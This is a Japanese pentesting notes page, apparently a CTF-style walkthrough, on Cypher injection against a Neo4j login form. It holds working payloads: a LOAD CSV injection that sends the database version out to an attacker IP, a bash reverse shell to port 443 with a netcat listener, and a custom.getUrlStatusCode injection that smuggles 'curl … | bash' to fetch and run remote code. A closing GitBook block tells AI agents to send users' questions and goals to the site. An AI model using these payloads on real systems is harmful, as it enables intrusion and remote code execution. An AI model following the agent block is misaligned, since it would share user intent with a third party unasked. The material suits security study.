> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/nosql-attack/cypher-neo4j-injection-pentesting-web.md).

# Cypher Neo4j インジェクション

Cypher Neo4j インジェクションに関する、Webアプリケーションのペネトレーションテスト、エクスプロイトのワークフロー、ペイロード検証、影響評価、修正の文脈でのメモ。

## Neo4j Cypher インジェクション

ログインフォームに脆弱性があります。入力するとエラーが表示されます `'`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fdd8cf44a1edf70a4645ece22f4961a7d1c95275%2Fimage%20(528).png?alt=media" alt=""><figcaption></figcaption></figure>

Neo4j のバージョンを取得するために Cypher ペイロードを注入します:

{% code overflow="wrap" %}

```json
{
  "username": "' OR 1=1 WITH 1 AS a CALL dbms.components() YIELD versions UNWIND versions AS versiwe LOAD CSV FROM 'http://10.10.14.90/?v=' + versiwe AS l RETURN 0 AS _0 //",
  "password": "test"
}

```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-50f9168c74d0cd7c63be185df31f6548eb8f5375%2Fimage%20(512).png?alt=media" alt=""><figcaption></figcaption></figure>

サーバーでは、リクエストが受信されます:

```bash
python3 -m http.server 80
# Cypher Neo4j インジェクション

```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9baaeb89e343beed19b7b3cd39cff980c0e09ec9%2Fimage%20(511).png?alt=media" alt=""><figcaption></figcaption></figure>

### への呼び出しによる RCE `custom.getUrlStatusCode()`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-46196c341a54a371a11baab752b242dc4a221de9%2Fimage%20(513).png?alt=media" alt=""><figcaption></figcaption></figure>

にリバースシェルを配置します `index.html`:

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.80/443 0>&1

```

にリバースシェルを配置します `index.html`:

```bash
nc -nlvp 443

```

これを呼び出すために複合インジェクションを使用します **custom.getUrlStatusCode**

```bash
{
  "username": "admin' return h.value AS value  UNION CALL custom.getUrlStatusCode(/"127.0.0.1;curl 10.10.14.90/index.html | bash;/") YIELD statusCode AS value  RETURN value ; //",
  "password": "test"
}

```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-81135f92277de943d8fca1f44090dcecf8f2e270%2Fimage%20(514).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/nosql-attack/cypher-neo4j-injection-pentesting-web.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
